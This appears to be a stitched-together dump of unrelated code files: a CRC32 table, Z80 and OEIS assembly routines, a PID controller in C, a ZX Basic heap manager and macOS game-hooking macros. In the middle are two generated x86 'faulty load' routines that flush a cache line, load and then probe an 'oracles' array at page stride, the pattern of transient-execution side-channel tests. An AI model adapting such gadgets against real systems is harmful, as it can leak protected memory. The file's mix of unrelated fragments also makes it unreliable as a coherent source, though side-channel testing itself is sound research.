0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 2657392035, 249268274, 2044508324, 3772115230, 2547177864, 162941995, 2125561021, 3887607047, 2428444049,
498536548, 1789927666, 4089016648, 2227061214, 450548861, 1843258603, 4107580753, 2211677639, 325883990, 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 2366115317,
997073096, 1281953886, 3579855332, 2724688242, 1006888145, 1258607687, 3524101629, 2768942443, 901097722, 1119000684, 3686517206, 2898065728, 853044451, 1172266101, 3705015759, 2882616665,
651767980, 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 3099436303, 671266974, 1594198024, 3322730930, 2970347812, 795835527, 1483230225, 3244367275, 3060149565,
1994146192, 31158534, 2563907772, 4023717930, 1907459465, 112637215, 2680153253, 3904427059, 2013776290, 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 3865271297,
1802195444, 476864866, 2238001368, 4066508878, 1812370925, 453092731, 2181625025, 4111451223, 1706088902, 314042704, 2344532202, 4240017532, 1658658271, 366619977, 2362670323, 4224994405,
1303535960, 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 3554079995, 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 855842277, 2852801631, 3708648649,
1342533948, 654459306, 3188396048, 3373015174, 1466479909, 544179635, 3110523913, 3462522015, 1591671054, 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 3233442989,
3988292384, 2596254646, 62317068, 1957810842, 3939845945, 2647816111, 81470997, 1943803523, 3814918930, 2489596804, 225274430, 2053790376, 3826175755, 2466906013, 167816743, 2097651377,
4027552580, 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 1852507879, 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 2394877945, 397917763, 1622183637,
3604390888, 2714866558, 953729732, 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, 3624741850, 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 1181335161,
3412177804, 3160834842, 628085408, 1382605366, 3423369109, 3138078467, 570562233, 1426400815, 3317316542, 2998733608, 733239954, 1555261956, 3268935591, 3050360625, 752459403, 1541320221,
2607071920, 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 83908371, 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 3855990285, 2094854071, 198958881,
2262029012, 4057260610, 1759359992, 534414190, 2176718541, 4139329115, 1873836001, 414664567, 2282248934, 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 376229701,
2685067896, 3608007406, 1308918612, 956543938, 2808555105, 3495958263, 1231636301, 1047427035, 2932959818, 3654703836, 1088359270, 936918000, 2847714899, 3736837829, 1202900863, 817233897,
3183342108, 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 601450431, 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 3272380065, 1510334235, 755167117
};
U32 VulkanTest::CRC32(const char* str)
{
const U8* c = reinterpret_cast<const U8*>(str);
U32 crc = 0xffffFFFF;
while (*c)
{
crc = (crc >> 8) ^ crc32Table[(crc & 0xFF) ^ *c];
++c;
}
return ~crc;
}
} |
;
; S-OS (The Sentinel) Japanese OS - Stdio
;
; getk() Read key status
;
; Stefano Bodrato, 2013
;
;
; $Id: getk.asm,v 1.3 2016/06/12 17:32:01 dom Exp $
;
SECTION code_clib
PUBLIC getk
PUBLIC _getk
.getk
._getk
call 1FD0h
ld l, a
ld h,0
ret
|
; A071190: Greatest prime factor of sum of divisors of n, for n >= 2; a(1) = 1.
; 1,3,2,7,3,3,2,5,13,3,3,7,7,3,3,31,3,13,5,7,2,3,3,5,31,7,5,7,5,3,2,7,3,3,3,13,19,5,7,5,7,3,11,7,13,3,3,31,19,31,3,7,3,5,3,5,5,5,5,7,31,3,13,127,7,3,17,7,3,3,3,13,37,19,31,7,3,7,5,31,11,7,7,7,3,11,5,5,5,13,7,7,2,3,5,7,7,19,13,31
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
sub $0,1
seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
|
; A164907: a(n) = (3*3^n-(-1)^n)/2.
; 1,5,13,41,121,365,1093,3281,9841,29525,88573,265721,797161,2391485,7174453,21523361,64570081,193710245,581130733,1743392201,5230176601,15690529805,47071589413,141214768241,423644304721,1270932914165,3812798742493,11438396227481,34315188682441,102945566047325,308836698141973,926510094425921,2779530283277761,8338590849833285
mov $1,3
pow $1,$0
mul $1,6
div $1,16
mul $1,4
add $1,1
|
#include "./pid-attiny.h"
#ifndef abs
#define abs(a) ((a) < 0 ? -1 * (a) : (a))
#endif
/* Initialisation of PID controller parameters.
*
* Initialise the variables used by the PID algorithm.
* \param p_factor Proportional term.
* \param i_factor Integral term.
* \param d_factor Derivate term.
* \param pid Struct with PID status.
*/
void pid_Init(int16_t p_factor, int16_t i_factor, int16_t d_factor, struct PID_DATA *pid, struct PID_VALUES *values)
{
// reset values struct for convinience
values->referenceValue = 0;
values->measurementValue = 0;
values->plantValue = 0;
pid->lastProcessValue = 0;
pid->deadBand = 5;
pid_Reset_Integrator(pid);
pid_Set_P(p_factor, pid);
pid_Set_I(i_factor, pid);
pid_Set_D(d_factor, pid);
}
/* PID control algorithm.
*
* Calculates output from setpoint, process value and PID status.
*
* \param setPoint Desired value.
* \param processValue Measured value.
* \param pid_st PID status struct.
*/
void pid_Controller(struct PID_VALUES *pid_values, struct PID_DATA *pid_st)
{
// copy volatile vars for processing
int16_t referenceValue = pid_values->referenceValue;
int16_t measurementValue = pid_values->measurementValue;
int16_t error{0}, p_term{0}, d_term{0};
int32_t i_term{0}, ret{0}, temp{0};
// Calculate Pterm and limit error overflow
error = referenceValue - measurementValue;
if (abs(error) > pid_st->deadBand) {
if (error > pid_st->maxError)
{
p_term = MAX_INT;
}
else if (error < -pid_st->maxError)
{
p_term = -MAX_INT;
}
else
{
p_term = pid_st->P_Factor * error;
}
d_term = pid_st->D_Factor * (pid_st->lastProcessValue - measurementValue);
temp = pid_st->sumError + error;
}
// Calculate Iterm and limit integral runaway
if (temp > pid_st->maxSumError)
{
i_term = MAX_I_TERM;
pid_st->sumError = pid_st->maxSumError;
}
else if (temp < -pid_st->maxSumError)
{
i_term = -MAX_I_TERM;
pid_st->sumError = -pid_st->maxSumError;
}
else
{
pid_st->sumError = temp;
i_term = pid_st->I_Factor * pid_st->sumError;
}
// Calculate Dterm
pid_st->lastProcessValue = measurementValue;
ret = (p_term + i_term + d_term) / PID_SCALING_FACTOR;
if (ret > MAX_INT)
{
ret = MAX_INT;
}
else if (ret < -MAX_INT)
{
ret = -MAX_INT;
}
pid_values->plantValue = ((int16_t)ret);
}
/* Resets the integrator.
*
* Calling this function will reset the integrator in the PID regulator.
*/
void pid_Reset_Integrator(pidData_t *pid_st)
{
pid_st->sumError = 0;
}
/* Allows setting PID Factors */
void pid_Set_P(int16_t p, pidData_t *pid_st)
{
pid_st->P_Factor = p * PID_SCALING_FACTOR;
// Limits to avoid overflow
pid_st->maxError = MAX_INT / (pid_st->P_Factor + 1);
pid_Reset_Integrator(pid_st);
}
void pid_Set_I(int16_t i, pidData_t *pid_st)
{
pid_st->I_Factor = i * PID_SCALING_FACTOR;
// Limits to avoid overflow
pid_st->maxSumError = MAX_I_TERM / (pid_st->I_Factor + 1);
pid_Reset_Integrator(pid_st);
}
void pid_Set_D(int16_t d, pidData_t *pid_st)
{
pid_st->D_Factor = d * PID_SCALING_FACTOR;
pid_Reset_Integrator(pid_st);
}
void pid_Set_deadBand(uint16_t d, pidData_t *pid_st)
{
pid_st->deadBand = d;
pid_Reset_Integrator(pid_st);
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1c122, %r14
nop
nop
nop
dec %r11
mov (%r14), %ebp
nop
add %r15, %r15
lea addresses_WC_ht+0x19324, %rcx
nop
xor $56857, %rdx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%rcx)
nop
nop
cmp $63495, %rcx
lea addresses_normal_ht+0x7bf4, %rbp
nop
nop
cmp $46829, %rbx
mov (%rbp), %r15w
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x9e22, %rsi
lea addresses_A_ht+0x17ed0, %rdi
nop
nop
nop
nop
nop
cmp $61060, %r14
mov $8, %rcx
rep movsw
nop
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0x13ae2, %rsi
lea addresses_D_ht+0x1c922, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $56, %rcx
rep movsw
nop
nop
nop
nop
inc %rdx
lea addresses_WC_ht+0xb725, %rcx
nop
nop
nop
nop
nop
xor $44346, %rbx
mov (%rcx), %rbp
nop
nop
nop
nop
sub $37876, %rdi
lea addresses_A_ht+0x17c2, %rsi
lea addresses_WC_ht+0x133a2, %rdi
nop
nop
nop
nop
sub $16845, %r14
mov $96, %rcx
rep movsw
nop
xor $44125, %r15
lea addresses_UC_ht+0xd622, %rsi
lea addresses_WC_ht+0x72a8, %rdi
nop
nop
cmp %rdx, %rdx
mov $27, %rcx
rep movsq
nop
inc %rdx
lea addresses_A_ht+0x5276, %rbx
and %r14, %r14
movl $0x61626364, (%rbx)
nop
add $18289, %rdi
lea addresses_A_ht+0x11c92, %rdx
nop
and $43739, %rbp
movups (%rdx), %xmm3
vpextrq $0, %xmm3, %rcx
nop
nop
nop
cmp $19541, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rbx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x13112, %r11
nop
nop
nop
nop
dec %r15
mov $0x5152535455565758, %r9
movq %r9, (%r11)
cmp $34362, %r9
// Faulty Load
lea addresses_UC+0x1d122, %rsi
clflush (%rsi)
nop
nop
xor $2387, %r11
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %r15
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': True, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x5032, %rsi
lea addresses_A_ht+0x11a32, %rdi
clflush (%rdi)
and %r8, %r8
mov $47, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rax
lea addresses_UC_ht+0xcb96, %rsi
lea addresses_UC_ht+0x9d32, %rdi
nop
nop
sub $19405, %rdx
mov $49, %rcx
rep movsl
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rcx
push %rdi
// Store
mov $0x34dba80000000832, %r12
nop
xor %rdi, %rdi
movb $0x51, (%r12)
nop
nop
sub $25184, %r13
// Store
mov $0xbba, %rcx
nop
nop
nop
nop
nop
sub %r10, %r10
movl $0x51525354, (%rcx)
nop
and %rdi, %rdi
// Store
lea addresses_UC+0x1ee9a, %r12
nop
nop
nop
nop
nop
inc %r11
mov $0x5152535455565758, %r13
movq %r13, %xmm6
vmovups %ymm6, (%r12)
nop
nop
nop
nop
nop
add $51963, %r11
// Store
lea addresses_WC+0x7432, %r12
cmp $33443, %rcx
movl $0x51525354, (%r12)
nop
nop
nop
add $63222, %r12
// Store
mov $0xc32, %rdi
nop
nop
nop
nop
nop
inc %r13
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
vmovaps %ymm2, (%rdi)
nop
nop
nop
nop
nop
cmp $36730, %r13
// Faulty Load
lea addresses_US+0xc032, %rdi
clflush (%rdi)
nop
cmp %r12, %r12
movb (%rdi), %cl
lea oracles, %rbp
and $0xff, %rcx
shlq $12, %rcx
mov (%rbp,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_P', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC', 'AVXalign': True, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_P', 'AVXalign': True, 'size': 32}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; vim: ts=4:et:sw=4:
; Copyleft (K) by Jose M. Rodriguez de la Rosa
; (a.k.a. Boriel)
; http://www.boriel.com
;
; This ASM library is licensed under the BSD license
; you can use it for any purpose (even for commercial
; closed source programs).
;
; Please read the BSD license on the internet
; ----- IMPLEMENTATION NOTES ------
; The heap is implemented as a linked list of free blocks.
; Each free block contains this info:
;
; +----------------+ <-- HEAP START
; | Size (2 bytes) |
; | 0 | <-- Size = 0 => DUMMY HEADER BLOCK
; +----------------+
; | Next (2 bytes) |---+
; +----------------+ <-+
; | Size (2 bytes) |
; +----------------+
; | Next (2 bytes) |---+
; +----------------+ |
; | <free bytes...>| | <-- If Size > 4, then this contains (size - 4) bytes
; | (0 if Size = 4)| |
; +----------------+ <-+
; | Size (2 bytes) |
; +----------------+
; | Next (2 bytes) |---+
; +----------------+ |
; | <free bytes...>| |
; | (0 if Size = 4)| |
; +----------------+ |
; <Allocated> | <-- This zone is in use (Already allocated)
; +----------------+ <-+
; | Size (2 bytes) |
; +----------------+
; | Next (2 bytes) |---+
; +----------------+ |
; | <free bytes...>| |
; | (0 if Size = 4)| |
; +----------------+ <-+
; | Next (2 bytes) |--> NULL => END OF LIST
; | 0 = NULL |
; +----------------+
; | <free bytes...>|
; | (0 if Size = 4)|
; +----------------+
; When a block is FREED, the previous and next pointers are examined to see
; if we can defragment the heap. If the block to be breed is just next to the
; previous, or to the next (or both) they will be converted into a single
; block (so defragmented).
; MEMORY MANAGER
;
; This library must be initialized calling __MEM_INIT with
; HL = BLOCK Start & DE = Length.
; An init directive is useful for initialization routines.
; They will be added automatically if needed.
#init "__MEM_INIT"
; ---------------------------------------------------------------------
; __MEM_INIT must be called to initalize this library with the
; standard parameters
; ---------------------------------------------------------------------
__MEM_INIT: ; Initializes the library using (RAMTOP) as start, and
ld hl, ZXBASIC_MEM_HEAP ; Change this with other address of heap start
ld de, ZXBASIC_HEAP_SIZE ; Change this with your size
; ---------------------------------------------------------------------
; __MEM_INIT2 initalizes this library
; Parameters:
; HL : Memory address of 1st byte of the memory heap
; DE : Length in bytes of the Memory Heap
; ---------------------------------------------------------------------
__MEM_INIT2:
; HL as TOP
PROC
dec de
dec de
dec de
dec de ; DE = length - 4; HL = start
; This is done, because we require 4 bytes for the empty dummy-header block
xor a
ld (hl), a
inc hl
ld (hl), a ; First "free" block is a header: size=0, Pointer=&(Block) + 4
inc hl
ld b, h
ld c, l
inc bc
inc bc ; BC = starts of next block
ld (hl), c
inc hl
ld (hl), b
inc hl ; Pointer to next block
ld (hl), e
inc hl
ld (hl), d
inc hl ; Block size (should be length - 4 at start); This block contains all the available memory
ld (hl), a ; NULL (0000h) ; No more blocks (a list with a single block)
inc hl
ld (hl), a
ld a, 201
ld (__MEM_INIT), a; "Pokes" with a RET so ensure this routine is not called again
ret
ENDP
|
; A216114: The Wiener index of a link of n fullerenes C_{20} (see the Ghorbani and Hosseinzadeh reference).
; 500,3400,9900,21200,38500,63000,95900,138400,191700,257000,335500,428400,536900,662200,805500,968000,1150900,1355400,1582700,1834000,2110500,2413400,2743900,3103200,3492500,3913000,4365900,4852400,5373700,5931000
add $0,3
mov $1,2
sub $1,$0
bin $0,3
mul $0,2
add $0,$1
mov $2,$0
mul $2,6
add $1,$2
mul $1,100
mov $0,$1
|
extern _base
%macro getaddr 1
mov r11, [rel _base]
add r11, %1
%endmacro
%macro relcall 1
getaddr %1
call r11
%endmacro
%macro pushallnorax 0
push rbx
push rdi
push rsi
push rdx
push rcx
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popallnorax 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rcx
pop rdx
pop rsi
pop rdi
pop rbx
%endmacro
%macro pushmm 1
sub rsp, 16
movss [rsp], %1
%endmacro
%macro popmm 1
movss %1, [rsp]
add rsp, 16
%endmacro
extern __Z7getBasev
extern _memcpy
%macro defit 2
global %1
%1:
push rbp
mov rbp, rsp
pushallnorax
pushmm xmm0
pushmm xmm1
push rsi
push rdi
call __Z7getBasev
add rax, %2
pop rdi
pop rsi
popmm xmm1
popmm xmm0
popallnorax
pop rbp
jmp rax
%endmacro
%macro virt 2
global %1
%1:
push rbp
mov rbp, rsp
mov rax, [rdi]
call [rax+%2]
pop rbp
ret
%endmacro
%macro classvar 2
global %1
%1:
push rbp
mov rbp, rsp
mov rax, [rdi+%2]
pop rbp
ret
%endmacro
%macro typeinfo 3
call __Z7getBasev
add rax, %2
mov rsi, rax
lea rdi, [rel %1]
mov rdx, %3
call _memcpy
%endmacro
global __ZN5GDObj9valOffsetEl
__ZN5GDObj9valOffsetEl:
mov rax, [rdi+rsi]
ret
global __ZN5GDObj12setValOffsetElPv
__ZN5GDObj12setValOffsetElPv:
mov [rdi+rsi], rdx
ret
global __ZN11GameManager7manFileEv
__ZN11GameManager7manFileEv:
lea rax, [rdi+0x120]
ret
global __ZN7cocos2d2ui6MarginC1Ev
__ZN7cocos2d2ui6MarginC1Ev:
push rbp
mov rbp, rsp
pop rbp
ret
global __ZN11GameManager17setSecondColorIdxEi
__ZN11GameManager17setSecondColorIdxEi:
mov [rdi+0x260], esi
mov dword [rdi+0x264], 0
ret
global __ZN11GameManager16setFirstColorIdxEi
__ZN11GameManager16setFirstColorIdxEi:
mov [rdi+0x254], esi
mov dword [rdi+0x258], 0
ret
defit __ZN10GameObject10getGroupIDEi, 0x33ae10
defit __ZN10GameObject11setPositionERKN7cocos2d7CCPointE, 0x335850
defit __ZN10GameObject13destroyObjectEv, 0x336a00
defit __ZN10GameObject4initEPKc, 0x2f5520
defit __ZN10GameObjectC1Ev, 0xdc4c0
defit __ZN10GameObject12selectObjectEN7cocos2d10_ccColor3BE, 0x341f90
defit __ZN10GameObject15playShineEffectEv, 0x2fa9d0
defit __ZN15LabelGameObject6createEPKc, 0xc9790
defit __ZN11AppDelegate3getEv, 0x3aab10
defit __ZN11GameManager11colorForIdxEi, 0x1cbc80
defit __ZN11GameManager11doQuickSaveEv, 0x1d0200
defit __ZN11GameManager11fadeInMusicEPKc, 0x1c2ff0
